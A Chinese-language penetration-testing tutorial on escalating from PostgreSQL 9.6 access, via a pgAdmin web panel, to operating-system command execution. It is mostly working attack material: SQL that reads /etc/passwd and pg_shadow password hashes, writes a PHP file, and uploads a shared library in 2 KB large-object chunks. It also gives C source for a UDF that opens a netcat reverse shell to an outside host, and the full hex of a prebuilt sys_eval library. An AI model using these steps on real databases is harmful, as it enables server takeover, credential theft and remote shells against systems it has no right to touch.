研究postgresql数据库如何getshell是在渗透中遇到一个pgAdmin的web管理页面可以直接操作postgresql且通过网上的文章没有达到9.6版本getshell的效果所以便有了以下文章。解决新版本写入函数so文件创建函数失败问题.
安装过程: devel库一定要安装后面用来编译后面需要扩展库postgres.h
yum install postgresql96-server postgresql96-contrib postgresql-devel postgresql-libs
postgresql默认不支持用root启动所以需要建立用户:
useradd postgres
passwd postgres
然后需要建立一个data目录并给postgres用户为所有者权限
mkdir /usr/pgsql-9.6/data
chown -R postgres /usr/pgsql-9.6/data
然后在
/usr/pgsql-9.6/bin/initdb 初始数据库(必须做)
启动数据库
/usr/pgsql-9.6/bin/pg_ctl -D /usr/pgsql-9.6/data -l logfile start
关闭数据库
/usr/pgsql-9.6/bin/pg_ctl stop
进入数据库命令行界面
psql -d template1
创建数据库
CREATE DATABASE postgre;
查看密码 密码=MD5(user+password)
SELECT usename, passwd FROM pg_shadow;
因为和mysql一样利用UDF进行提权所以需要上传文件
drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
这里需要分片进行上传就是将文件分成小于等于2KB大小的hex再进行上传,但是在9.6版本中(我测试的版本)必须切割等于2KB的数据上传才会成功,具体到命令执行处详细说明.
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
首先创建一个OID作为写入的对象,然后通过0,1,2,3...分片上传但是对象都为12345最后导出到/tmp目录下,收尾删除OID
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6
一般8.2以下的版本可以
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
直接可以执行
select system('id');
当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
第一步可以先查看postgresql支持的扩展语言:
select * from pg_language;
如果支持python perl就很简单和低版本一样直接创建调用详情可参考以下文章:
http://static.hx99.net/static/drops/tips-6449.html
当不存在其他扩展语言时,postgresql默认支持C,所以要自己传一个编译好的so库去创建可执行命令函数.这里可以使用简短的反弹shell后门
编译反弹shell后门
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash vpsIPaddress 2333");
}
编译环境见文章头部这个需要在/usr/pgsql-9.6/include/server/目录下执行应为存在postgres.h头部调用的库
gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
strip -sx udf.so #缩减so文件大小
将文件hex后去除\n
cat udf.so | xxd -ps | tr -d "\n"
接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
用python脚本去分割udf.so文件
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
接下来我们根据写文件去写入再创建函数就可以反弹shell成功
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
如果在内网无法反弹可以使用sqlmap作者关于udfhack的so文件已经写好了在github直接下载编译即可,编译方法同上.
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
这里我直接给出hex分片过sql语句直接写入即可创建成功
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));
insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));
insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));
SELECT lo_export(9023, '/tmp/testeval.so');
执行命令：
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
drop function sys_eval;
http://www.91ri.org/6507.html
http://static.hx99.net/static/drops/tips-6449.html
http://www.voidcn.com/article/p-sunyuemo-nw.html
https://www.jianshu.com/p/ba0297da2c2e
http://www.postgres.cn/docs/9.4/catalog-pg-largeobject.html
https://github.com/sqlmapproject/udfhack/